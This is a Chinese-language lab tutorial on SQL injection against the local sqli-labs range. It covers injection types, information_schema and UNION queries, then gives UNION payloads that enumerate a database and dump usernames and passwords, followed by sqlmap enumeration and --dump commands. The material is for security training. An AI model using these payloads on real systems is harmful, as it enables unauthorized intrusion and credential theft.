基本介绍
实验环境:kali、docker
靶场环境:sql
sql注入基本类型介绍
基于服务器接收到的响应
- 基于错误的sql注入
- 联合查询注入
- 堆查询注入
- SQL盲注
- 基于布尔SQL盲注
- 基于时间的SQL盲注
- 基于报错的SQL盲注
基于如何处理输入的SQL插叙(数据类型)
- 基于字符串
- 数字或整数为基础
基于程度和顺序的注入(哪里发生了影响)
- 一阶注射
- 二阶注射
- 通过用户输入的表单域的注射
- 通过cookie注射
- 通过服务器变量注射
常用的系统函数
1、version()——mysql版本
2、user()——数据库用户名
3、database()——数据库名
4、@@datadir——数据库路径
5、@@version_compile_os——操作系统版本
字符串连接函数
可参考:http://www.cnblogs.com/lcamry/p/5715634.html
1、concat(str1,str2)——没有分隔符地连接字符串
2、concat_ws(separator,str1,str2)——含有分隔符地连接字符串
3、group_concat(str1,str2)——连接一个组的所有字符串
一般用于参数是否存在注入的语句
--+ 可以用#替换,url提交过程中Url编码后的#为%23
- or 1=1 --+
- ’ or 1=1 --+
- "or 1=1–+
- )or 1=1–+
- ')or 1=1–+
- ")or 1=1–+
- "))or 1=1–+
union 操作符的介绍
select column_name from table1
union
select column_name from table1
示例
第一个表中的数据
mysql> SELECT * FROM Websites;
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
| 7 | stackoverflow | http://stackoverflow.com/ | 0 | IND |
+----+---------------+---------------------------+-------+---------+
第二个表中的数据
mysql> SELECT * FROM apps;
+----+------------+-------------------------+---------+
| id | app_name | url | country |
+----+------------+-------------------------+---------+
| 1 | QQ APP | http://im.qq.com/ | CN |
| 2 | 微博 APP | http://weibo.com/ | CN |
| 3 | 淘宝 APP | https://www.taobao.com/ | CN |
+----+------------+-------------------------+---------+
3 rows in set (0.00 sec)
SQL union实例
SELECT country FROM Websites
UNION
SELECT country FROM apps
ORDER BY country;
UNION 不能用于列出两个表中所有的country。如果一些网站和APP来自同一个国家,每个国家只会列出一次。UNION 只会选取不同的值。请使用 UNION ALL 来选取重复的值!
information_schema介绍
information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增,删,更新)
mysql5.0以下:多用户单操作,不存在information_schema数据库
mysql5.0以上:多用户多操作,存在information_schema数据库
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| challenges |
| information_schema |
| mysql |
| myweb |
| performance_schema |
| security |
| sys |
| test |
| user_demo |
+--------------------+
9 rows in set (0.01 sec)
information_schema数据库说明
information_schema.schemata表:此表存放了当前数据库管理系统下所有的数据库,效果等同于==show databases;==命令
mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def | mysql | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | information_schema | utf8 | utf8_general_ci | NULL | NO |
| def | performance_schema | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | sys | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | myweb | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | test | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | user_demo | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | security | gbk | gbk_chinese_ci | NULL | NO |
| def | challenges | gbk | gbk_chinese_ci | NULL | NO |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
9 rows in set (0.00 sec)
information_schema.tables数据库说明
在这个表下面存放了当前数据库管理系统下所有的数据库表,类似进去一个数据库中使用
show tables;
查看当前数据库中拥有的表。
查看information_schema.tables的表结构,有以下字段,其中
table_name:记录了当前数据库管理系统的所有表的名称
table_schema:记录了当前数据库表所属的数据库名称
mysql> desc information_schema.tables;
+-----------------+--------------------------------------------------------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+--------------------------------------------------------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(64) | YES | | NULL | |
| TABLE_SCHEMA | varchar(64) | YES | | NULL | |
| TABLE_NAME | varchar(64) | YES | | NULL | |
| TABLE_TYPE | enum('BASE TABLE','VIEW','SYSTEM VIEW') | NO | | NULL | |
| ENGINE | varchar(64) | YES | | NULL | |
| VERSION | int | YES | | NULL | |
| ROW_FORMAT | enum('Fixed','Dynamic','Compressed','Redundant','Compact','Paged') | YES | | NULL | |
| TABLE_ROWS | bigint unsigned | YES | | NULL | |
| AVG_ROW_LENGTH | bigint unsigned | YES | | NULL | |
| DATA_LENGTH | bigint unsigned | YES | | NULL | |
| MAX_DATA_LENGTH | bigint unsigned | YES | | NULL | |
| INDEX_LENGTH | bigint unsigned | YES | | NULL | |
| DATA_FREE | bigint unsigned | YES | | NULL | |
| AUTO_INCREMENT | bigint unsigned | YES | | NULL | |
| CREATE_TIME | timestamp | NO | | NULL | |
| UPDATE_TIME | datetime | YES | | NULL | |
| CHECK_TIME | datetime | YES | | NULL | |
| TABLE_COLLATION | varchar(64) | YES | | NULL | |
| CHECKSUM | bigint | YES | | NULL | |
| CREATE_OPTIONS | varchar(256) | YES | | NULL | |
| TABLE_COMMENT | text | YES | | NULL | |
+-----------------+--------------------------------------------------------------------+------+-----+---------+-------+
21 rows in set (0.01 sec)
我们查看其中的几条数据;例如在mysql数据库下面存在innodb_index_stats的一张数据表。我们通过展示mysql下面的数据表,可以看到确实存在。
mysql> select table_name,table_schema from information_schema.tables limit 1,10;
+---------------------------------------+--------------------+
| TABLE_NAME | TABLE_SCHEMA |
+---------------------------------------+--------------------+
| innodb_index_stats | mysql |
| CHARACTER_SETS | information_schema |
| CHECK_CONSTRAINTS | information_schema |
| COLLATIONS | information_schema |
| COLLATION_CHARACTER_SET_APPLICABILITY | information_schema |
| COLUMNS | information_schema |
| COLUMNS_EXTENSIONS | information_schema |
| COLUMN_STATISTICS | information_schema |
| EVENTS | information_schema |
| FILES | information_schema |
+---------------------------------------+--------------------+
10 rows in set (0.00 sec)
进入mysql数据库中。
mysql> use mysql;
Database changed
mysql> show tables;
+------------------------------------------------------+
| Tables_in_mysql |
+------------------------------------------------------+
| columns_priv |
| component |
| db |
| default_roles |
| engine_cost |
| func |
| general_log |
| global_grants |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
information_schema.columns表
此表存放了当前数据库管理系统中所有的列名
table_name:记录了当前数据库管理系统的所有表的名称
table_schema:记录了当前数据库表所属的数据库名称
column_name:记录当前数据库管理系统下的所有列名称
mysql> desc information_schema.columns;
+--------------------------+----------------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------------------+----------------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(64) | YES | | NULL | |
| TABLE_SCHEMA | varchar(64) | YES | | NULL | |
| TABLE_NAME | varchar(64) | YES | | NULL | |
| COLUMN_NAME | varchar(64) | YES | | NULL | |
| ORDINAL_POSITION | int unsigned | NO | | NULL | |
| COLUMN_DEFAULT | text | YES | | NULL | |
| IS_NULLABLE | varchar(3) | NO | | | |
| DATA_TYPE | longtext | YES | | NULL | |
| CHARACTER_MAXIMUM_LENGTH | bigint | YES | | NULL | |
| CHARACTER_OCTET_LENGTH | bigint | YES | | NULL | |
| NUMERIC_PRECISION | bigint unsigned | YES | | NULL | |
| NUMERIC_SCALE | bigint unsigned | YES | | NULL | |
| DATETIME_PRECISION | int unsigned | YES | | NULL | |
| CHARACTER_SET_NAME | varchar(64) | YES | | NULL | |
| COLLATION_NAME | varchar(64) | YES | | NULL | |
| COLUMN_TYPE | mediumtext | NO | | NULL | |
| COLUMN_KEY | enum('','PRI','UNI','MUL') | NO | | NULL | |
| EXTRA | varchar(256) | YES | | NULL | |
| PRIVILEGES | varchar(154) | YES | | NULL | |
| COLUMN_COMMENT | text | NO | | NULL | |
| GENERATION_EXPRESSION | longtext | NO | | NULL | |
| SRS_ID | int unsigned | YES | | NULL | |
+--------------------------+----------------------------+------+-----+---------+-------+
22 rows in set (0.00 sec)
我们查看一下user_demo数据库下面的user表结构做一个对比
mysql> select table_name,table_schema,column_name from information_schema.columns where table_schema='user_demo' and table_name='user';
+------------+--------------+--------------+
| TABLE_NAME | TABLE_SCHEMA | COLUMN_NAME |
+------------+--------------+--------------+
| user | user_demo | id |
| user | user_demo | username |
| user | user_demo | userAccount |
| user | user_demo | avatarUrl |
| user | user_demo | gender |
| user | user_demo | userPassword |
| user | user_demo | email |
| user | user_demo | userStatus |
| user | user_demo | phone |
| user | user_demo | createTime |
| user | user_demo | updateTime |
| user | user_demo | isDelete |
| user | user_demo | userRole |
+------------+--------------+--------------+
13 rows in set (0.01 sec)
mysql> desc user;
+--------------+---------------+------+-----+-------------------+-----------------------------------------------+
| Field | Type | Null | Key | Default | Extra |
+--------------+---------------+------+-----+-------------------+-----------------------------------------------+
| id | bigint | NO | PRI | NULL | auto_increment |
| username | varchar(256) | YES | | NULL | |
| userAccount | varchar(256) | YES | | NULL | |
| avatarUrl | varchar(1024) | YES | | NULL | |
| gender | tinyint | YES | | NULL | |
| userPassword | varchar(512) | NO | | NULL | |
| email | varchar(512) | YES | | NULL | |
| userStatus | int | YES | | 0 | |
| phone | varchar(128) | YES | | NULL | |
| createTime | datetime | YES | | CURRENT_TIMESTAMP | DEFAULT_GENERATED |
| updateTime | datetime | YES | | CURRENT_TIMESTAMP | DEFAULT_GENERATED on update CURRENT_TIMESTAMP |
| isDelete | tinyint | NO | | 0 | |
| userRole | int | NO | | 0 | |
+--------------+---------------+------+-----+-------------------+-----------------------------------------------+
13 rows in set (0.00 sec)
开始sql-labs的第一关
首先使用简单的’or 1=1 --+做一个简单的注入判断,可以看到与i=1的结果是一致的,我们初步就判断这是存在注入点,使用上面的information_schema进行查看,在这之前我们也可以先判断以下数据库版本。
查看当前的数据库版本
http://127.0.0.1/Less-1/?id=-1’ union select 1,version(),2 --+
进入容器里面我们在看一下数据库版本,显然是一致的,这也说明我们可以去使用information_schema来查询我们想要的东西。
查询当前有那些数据库
id=-1’ union select 1,group_concat(schema_name),2 from information_schema.schemata --+
可以通过查看当前使用的数据库判断哪一个是我们需要的
id=-1’ union select 1,database(),3
查看该数据库下面的表信息
id=-1’ union select 1,group_concat(table_name),3 from information_scheam.tables where table_schema=‘security’ --+
查看表存在的列名
id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
查看表中的数据
id=-1’ union select 1,group_concat(username),group_concat(pasword) from security.users
使用sqlmap来寻找注入点
先查看是否存在注入
sqlmap -u 'url'
# -u 指定目标URL (可以是http协议也可以是https协议)
sqlmap -u 'url' --delay 10
# 为了防止某些系统中配置了网络防火墙,可以使用--delay
# --delay参数可以制定访问的延迟,就是过一段时间在进行测试,有一定的时间间隔
列出数据库
sqlmap -u 'url' --dbs
# --dbs:列出当前存在的数据库
sqlmap -u 'url' --current-db
# --current-db:列出当前使用的数据库
列出指定数据库下面的数据表信息
sqlmap -u 'url' -D 'security' --tables
# -D:选择使用哪一个数据库
# --tables:列出当前的表信息
查看列信息
sqlmap -u 'url' -D 'security' -T 'users' --columns
# --columns:列出当前的列信息
sqlmap -u 'url' -D 'security' -T 'users' -C 'username,password' --dump
# --dump:获取字段中的数据